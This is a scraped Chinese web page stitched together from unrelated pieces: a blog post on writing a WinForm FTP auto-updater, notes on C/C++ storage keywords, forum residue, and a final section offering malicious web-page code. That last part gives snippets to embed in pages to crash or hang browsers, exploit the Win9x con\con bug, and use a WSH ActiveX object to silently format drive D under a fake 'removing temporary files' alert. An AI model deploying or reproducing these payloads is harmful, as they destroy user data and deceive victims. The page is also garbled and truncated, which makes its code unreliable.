创维32e2a电视40e2a价格多少

下次自动登录
现在的位置:
& 综合 & 正文
编写WinForm自动更新程序
本文转自:
可能有一两年没有更新博客了,并不是由于没时间,或是这段时间没有丝毫的技术心得,只是每次打开博客,却又感觉无从可写。或许是因为没得到锻炼,文笔功夫过
低吧。所以决定从今天起,借写日志锻炼一下。文档啊,希望下次写的时候不会那么痛苦了。
从《编写WinForm自动更新》开始。
C/S架构的项目,客户端将不可避免的面临自动更新问题,特别是在客户端数量较多时,自动更新显得尤为重要。据我所了解,WinForm程序自动更新有两种方案:
1、使用ClickOnce发布客户端;
2、自己编写自动更新程序;
鉴于“偷懒”的原则,我试验了一下ClickOnce部署,在经过一番周折后终究是成功了,但感觉还是有几个缺点:
A、发布不方便。发布一次要生成程序清单、部属清单,生成的文件一不小心就完全不能用,又得重来,还有个似乎没什么用的.
B、无法指定程序安装目录。没去找过自动定位的安装目录,料想应该是隐藏得挺深的;
C、更新时无进度展示。这是比较影响用户体验的,若是更新失败,产生的日志连做开发的也未必知道所以然;
还有个小缺点,在浏览器上启动安装,总觉得有点怪异。。。。
于是乎,开始鼓捣一个自动更新程序。在设计过程中有几个问题必须做出选择:
1、使用什么方式访问更新源?可以通过开发文件读取服务来提供更新源,可以使用FTP作为更新源,可以使用文件共享,可以使用WEB共享,等等。在此我选择了
使用FTP作为更新源;
2、根据什么来判断文件是否需要更新?首先想到的可能是版本号,但除DLL、EXE文件之外,大部分文件是没有版本号的,内容对比?那更不可取了。我使用了文
件的HASH码来比较。每一个文件都可生成一个唯一的HASH码,只要该文件做过任何改动,生成的HASH码都将不一样。
程序大致思路:提供一个独立的DLL供主程序调用,传入FTP访问凭据,启动更新程序并将主程序关闭,更新程序首先从FTP上下载一个文件清单,该文件清单中列
举出了新版本中所有文件及目录,并保存了各文件的HASH。下载之后依次与本地文件的HASH对比,若发现不同,则下载文件并更新。遍历完成之后,启动主程序并附
加参数通知调用的DLL已完成了更新,防止死循环,最后退出更新程序。下面说几个技术点:
文件HASH码生成
public static string GetMD5(Stream stream)
using (HashAlgorithm hash = HashAlgorithm.Create())
buffer = puteHash(stream);
hash.Clear();
return Convert.ToBase64String(buffer);
HashAlgorithm类是.NET框架中提供的,在System.Security.Cryptography命名空间下。这里发生了一件我不太理解的事:使用File.IsExist判断文件是否存在
时,若传递的文件名参数前面多加了“\”,返回结果始终为true,不管文件是否真的存在,如File.IsExist(@”\temp\temp.xml”),更离奇的是,居然可以使用这个路径来生成HASH码。
应用程序间传递参数
在写控制台程序的时候,自动生成的Main方法中有参数string[] args,这便是传参入口。另外,可以使用Process类启动应用程序,例如:
Process.Start(Application.StartupPath + "\\Update.exe", arguments);
其中arguments是一个字符串,传递多个参数时,参数之间使用空格隔开。若单个参数内部有空格,请将该参数使用双引号括起。传递参数时注意“\”有可能会与
紧随其后的字符组成形成转义,若是在Main中获取参数时发现参数个数不对,那就应该检查一下这个了。
剩下的似乎就没什么说的了,都是些体力活。至于FTP的访问,用了一个以前一个朋友提供的类,本人也未曾研究其细节。展示更新进度时记得使用Form.Invoke来
更新窗体呈现。
使用这个自动更新程序时,首先使用Release项目来生成项目文件清单,然后将项目文件清单与生成的FileList.xml文件一并放在某个FTP目录下,配置好访问的用户
名、密码后,在主程序中使用下列语句即可实现自动更新:
FtpInfo ftpInfo = new FtpInfo("10software.gicp.net", "", "ftpclient", "", 21);
lib.Update.Pipe.Update(ftpInfo, UpdateBaseMode.ByFileHash);
FTP是在Server2008下配置的,配置过程中遇到了些小麻烦,但终究是成功了。下一篇将简单介绍些Server2008下的FTP配置。
程序源码:
&&&&推荐文章:
【上篇】【下篇】求助,为什么在死循环里的全局变量赋值在中断里不起作用,附程序 (amoBBS 阿莫电子论坛)
我的图书馆
求助,为什么在死循环里的全局变量赋值在中断里不起作用,附程序 (amoBBS 阿莫电子论坛)
类型定义关键字的详细说明,希望其他同好不要再犯我这样的低级错误。
  这个这个关键字用于声明变量的生存期为自动,即将不在任何类、结构、枚举、联合和函数中定义的变量视为全局变量,而在函数中定义的变量视为局部变量。这个关键字不怎么多写,因为所有的变量默认就是auto的。
(2)register
  这个关键字命令编译器尽可能的将变量存在CPU内部寄存器中而不是通过内存寻址访问以提高效率。
  常见的两种用途:
    1&统计函数被调用的次数;
    2&减少局部数组建立和赋值的开销.变量的建立和赋值是需要一定的处理器开销的,特别是数组等含有较多元素的存储类型。在一些含有较多的变量并且被经常调用的函数中,可以将一些数组声明为static类型,以减少建立或者初始化这些变量的开销.
  详细说明:
    1&、变量会被放在程序的全局存储区中,这样可以在下一次调用的时候还可以保持原来的赋值。这一点是它与堆栈变量和堆变量的区别。
    2&、变量用static告知编译器,自己仅仅在变量的作用范围内可见。这一点是它与全局变量的区别。
    3&当static用来修饰全局变量时,它就改变了全局变量的作用域,使其不能被别的程序extern,限制在了当前文件里,但是没有改变其存放位置,还是在全局静态储存区。
  使用注意:
    1&若全局变量仅在单个C文件中访问,则可以将这个变量修改为静态全局变量,以降低模块间的耦合度;
    2&若全局变量仅由单个函数访问,则可以将这个变量改为该函数的静态局部变量,以降低模块间的耦合度;
    3&设计和使用访问动态全局变量、静态全局变量、静态局部变量的函数时,需要考虑重入问题(只要输入数据相同就应产生相同的输出)。
  被const修饰的东西都受到强制保护,可以预防意外的变动,能提高程序的健壮性。它可以修饰函数的参数、返回值,甚至函数的定义体。
    1&修饰输入参数
      a.对于非内部数据类型的输入参数,应该将“值传递”的方式改为“const引用传递”,目的是提高效率。例如将void Func(A a) 改为void Func(const A &a)。
      b.对于内部数据类型的输入参数,不要将“值传递”的方式改为“const引用传递”。否则既达不到提高效率的目的,又降低了函数的可理解性。例如void Func(int x) 不应该改为void Func(const int &x)。
    2&用const修饰函数的返回值
      a.如果给以“指针传递”方式的函数返回值加const修饰,那么函数返回值(即指针)的内容不能被修改,该返回值只能被赋给加const修饰的同类型指针。
       如对于: const char * GetString(void);
       如下语句将出现编译错误:
        char *str = GetString();//cannot convert from 'const char *' to 'char *';
       正确的用法是:
       const char *str = GetString();
      b.如果函数返回值采用“值传递方式”,由于函数会把返回值复制到外部临时的存储单元中,加const修饰没有任何价值。 如不要把函数int GetInt(void) 写成const int GetInt(void)。
    3&const成员函数的声明中,const关键字只能放在函数声明的尾部,表示该类成员不修改对象.
   说明:
     //修饰m为不可改变
   示例:
    typedef char * pS //新的类型pS
    char string[4] = "abc";
    const char *p1 = string;
    p1++; //正确,上边修饰的是*p1,p1可变
    const pStr p2 =
    p2++; //错误,上边修饰的是p2,p2不可变,*p2可变
   同理,const修饰指针时用此原则判断就不会混淆了。
    const int * //*value不可变,value可变
    int* //value不可变,*value可变
    const (int *) //(int *)是一种type,value不可变,*value可变
              //逻辑上这样理解,编译不能通过,需要tydef int* NewT
    const int*//*value,value都不可变
(5)volatile
  表明某个变量的值可能在外部被改变,优化器在用到这个变量时必须每次都小心地重新读取这个变量的值,而不是使用保存在寄存器里的备份。它可以适用于基础类型如:int,char,long......也适用于C的结构和C++的类。当对结构或者类对象使用volatile修饰的时候,结构或者类的所有成员都会被视为volatile.
  该关键字在多线程环境下经常使用,因为在编写多线程的程序时,同一个变量可能被多个线程修改,而程序通过该变量同步各个线程。
  简单示例:
   DWORD __stdcall threadFunc(LPVOID signal)
     int* intSignal=reinterpret_cast(signal);
     *intSignal=2;
     while(*intSignal!=1)
     sleep(1000);
     return 0;
  该线程启动时将intSignal 置为2,然后循环等待直到intSignal 为1 时退出。显然intSignal的值必须在外部被改变,否则该线程不会退出。但是实际运行的时候该线程却不会退出,即使在外部将它的值改为1,看一下对应的伪汇编代码就明白了:
     mov ax,signal
     label:
     if(ax!=1)
     goto label
  对于C编译器来说,它并不知道这个值会被其他线程修改。自然就把它cache在寄存器里面。C 编译器是没有线程概念的,这时候就需要用到volatile。volatile 的本意是指:这个值可能会在当前线程外部被改变。也就是说,我们要在threadFunc中的intSignal前面加上volatile关键字,这时候,编译器知道该变量的值会在外部改变,因此每次访问该变量时会重新读取,所作的循环变为如下面伪码所示:
     label:
     mov ax,signal
     if(ax!=1)
     goto label
  注意:一个参数既可以是const同时是volatile,是volatile因为它可能被意想不到地改变。它是const因为程序不应该试图去修改它。
  extern 意为“外来的”···它的作用在于告诉编译器:有这个变量,它可能不存在当前的文件中,但它肯定要存在于工程中的某一个源文件中或者一个Dll的输出中。
下面关于C++的几个关键字是经常和我们打交道的而我们又经常对这些含糊不清的,本文根据自己的学习体会作以总结,以期达到真正理解和活用的目的。
l& && && &&&静态变量作用范围在一个文件内,程序开始时分配空间,结束时释放空间,默认初始化为0,使用时可改变其值。
l& && && &&&静态变量或静态函数,即只有本文件内的代码才可访问它,它的名字(变量名或函数名)在其它文件中不可见。
l& && && &&&在函数体内生成的静态变量它的值也只能维持
int max_so_far( int curr )//求至今(本次调用)为止最大值
& &&& //该变量保持着每次调用时的最新值,它的有效期等于整个程序的有效期
& &&&if( curr & biggest )
& && &&&biggest =
l& && && &&&在C++类的成员变量被声明为static(称为静态成员变量),意味着它为该类的所有实例所共享,也就是说当某个类的实例修改了该静态成员变量,其修改值为该类的其它所有实例所见;而类的静态成员函数也只能访问静态成员(变量或函数)。
l& && && && &类的静态成员变量必须在声明它的文件范围内进行初始化才能使用,private类型的也不例外。如,
& && && && && && &float SavingsAccount::currentRate = 0.00154;
& && &(注:currentRate是类SavingsAccount的静态成员变量)
l& && && &&&用register声明的变量称着寄存器变量,在可能的情况下会直接存放在机器的寄存器中;但对32位编译器不起作用,当global optimizations(全局优化)开的时候,它会做出选择是否放在自己的寄存器中;不过其它与register关键字有关的其它符号都对32位编译器有效。
l& && && &&&它是存储类型标识符,表明变量(自动)具有本地范围,块范围的变量声明(如for循环体内的变量声明)默认为auto存储类型。
l& && && &&&声明变量或函数为外部链接,即该变量或函数名在其它文件中可见。被其修饰的变量(外部变量)是静态分配空间的,即程序开始时分配,结束时释放。用其声明的变量或函数应该在别的文件或同一文件的其它地方定义(实现)。在文件内声明一个变量或函数默认为可被外部使用。
l& && && &&&在C++中,还可用来指定使用另一语言进行链接,这时需要与特定的转换符一起使用。目前Microsoft C/C++仅支持”C”转换标记,来支持C编译器链接。使用这种情况有两种形式:
u& && && &extern “C” 声明语句
u& && && &extern “C” { 声明语句块 }
l& && && &&&限定一个对象可被外部进程(操作系统、硬件或并发线程等)改变,声明时的语法如下:
int volatile nV
& && && &这样的声明是不能达到最高效的,因为它们的值随时会改变,系统在需要时会经常读写这个对象的值。& && && &只常用于像中断处理程序之类的异步进程进行内存单元访问。
& && &&&const所修饰的对象或变量不能被改变,修饰函数时,该函数不能改变在该函数外面声明的变量也不能调用任何非const函数。在函数的声明与定义时都要加上const,放在函数参数列表的最后一个括号后。
l& && && &&&在C++中,用const声明一个变量,意味着该变量就是一个带类型的常量,可以代替#define,且比#define多一个类型信息,且它执行内链接,可放在头文件中声明;但在C中,其声明则必须放在源文件(即.C文件)中,在C中const声明一个变量,除了不能改变其值外,它仍是一具变量,如
const int maxarray = 255;
char store_char[maxarray];& & //C++中合法,C中不合法
l& && && &&&const修饰指针时要特别注意。例:
char *const aptr =& &&&// 常量指针
*aptr = 'a';& && && & // Legal
aptr =& && & // Error
const char *bptr =& &&&// (指针bptr)指向常量数据
*bptr = 'a';& && && & // Error
bptr =& && & // Legal
l& && && && &const修饰成员函数时不能用于构造和析构函数。
TA的最新馆藏[转]&[转]&
喜欢该文的人也喜欢2007年12月 .NET技术大版内专家分月排行榜第一
2007年10月 .NET技术大版内专家分月排行榜第二
2007年12月 .NET技术大版内专家分月排行榜第一
2007年10月 .NET技术大版内专家分月排行榜第二
2007年12月 .NET技术大版内专家分月排行榜第一
2007年10月 .NET技术大版内专家分月排行榜第二
2007年12月 .NET技术大版内专家分月排行榜第一
2007年10月 .NET技术大版内专家分月排行榜第二
本帖子已过去太久远了,不再提供回复功能。一款很厉害的死循环代码
给大家分享一款很厉害的死循环代码,喜欢的朋友可以下载学习,但不得非法使用。
网页中的死循环代码
A、死循环代码:
『把下列代码加入到网页中,可达到如上效果』
&img src=javascript:location=&网页的文件名.htm:&&
说明:当含有这段代码的网页被人点击,连接就会不断的打开IE,直到你的资源浪费到0%~只有重新启动才能正常使用!
预防方法:禁用所有的ActiveX控件和插件!因为这是一个ActiveX教本程序~
B、恐怖的大图片:
『把下列代码加入到网页中,可达到如上效果』
&img src= &http://恐怖图片的连接地址& width= &1& height= &&&
说明:当打开这样的网页,IE会不断的解释试图打开,但由于图片实在太大,超出了其处理能力,所以&&
C、地震死机代码:
『把下列代码加入到网页中,可达到如上效果』
if (window.top.moveBy){
for (i = 1;i & 50; i++){
for (j = 3;j & 0; j--){
window.top.moveBy(0,i);
window.top.moveBy(i,0);
window.top.moveBy(0,-i*2);
window.top.moveBy(-i*2,0);
window.top.moveBy(0,i);
window.top.moveBy(i,0);
&img src=&c:\con\con&&
说明:&img src=&c:\con\con&&是windows9x的设备名称解析!
WINDOWS9x的\con\con设备名称解析漏洞允许用户进行攻击,倒是98死机。原理:我们知道,CON是DOS下的特殊设备名,不允许做文件名,如果我们在DOS下键入如下命令:copy coldcrysky.txt con,系统会显示coldcrysky.txt的内容,如果换成:copy coldcrysky.txt&con系统会提示文件不能拷贝到文件自身。如果吧con换成LPT或PRN,则输出coldcrysky.txt到打印机。由此可见,CON代表文件本身,如果使用\CON\CON命令,则意味着系统不断调用文件本身,视系统资源迅速枯竭,连按CTRL+ALT+DEL的机会都没有~
解决办法:
对于9X系统,强烈建议打补丁!!!2000和XP则不会死机~
D、格式化硬盘:(最恐怖的~~~慎用!!!请勿用于非法用途!!!使用后如果有任何负作用,后果自负!与伤寒天空『ColdCrySky』;乱刀留影无关!!!)
scr,Reset();
scr.Path=&C:\\WINDOWS\\StartMenu\\Programs\\启动\\startup.htm&;
scr.Doc=&&object id=`wsh` classid=`clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B`&&
WSH.rUN(`start/ d:/q/autotest/u`);
alert(`IMPORTANT : Windows is removing unused temporary files.`);
scr.write();
说明:当您浏览了网页,会把startup.hta文件写入启动文件夹,并提示WINDOWS正在删除临时文件!实际上是在格式化你的D盘,代码中的:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B对应为:Windows Scripting Host Shell Object。代码中的:WSH全称是:Windows Scripting Host,是微软的一种基于32位系统平台与语言无关的教本解释机制,它使得脚本能在WINDOWS桌面或命令提示符下运行~WSH所对应的程序WScript.exe是一个脚本语言解释器,位于WINDOWS所在文件夹下,所以它可以像执行批处理文件一样执行WSH脚本程序~
解决方法:1)更新您的浏览器,使用最新的浏览器上网!
2)修改ms.sys,在其中加入:Bootmentu=0命令行,目的是禁用启动菜单。
4)禁用WSH。具体方法:在win98中,从添加删除程序中点击WINDOWS安装程序,打开附件一项,将WINDOWS SCRIPTING HOST前面的选项去掉,就可以卸载掉WSH了~~~win2000和xp的用户可以在我的电脑-工具菜单-文件夹选项-选择文件类型,找到VBS VBSCRIPT FILE选项,点击删除!

我要回帖

更多关于 创维电视40e2a 的文章

 

随机推荐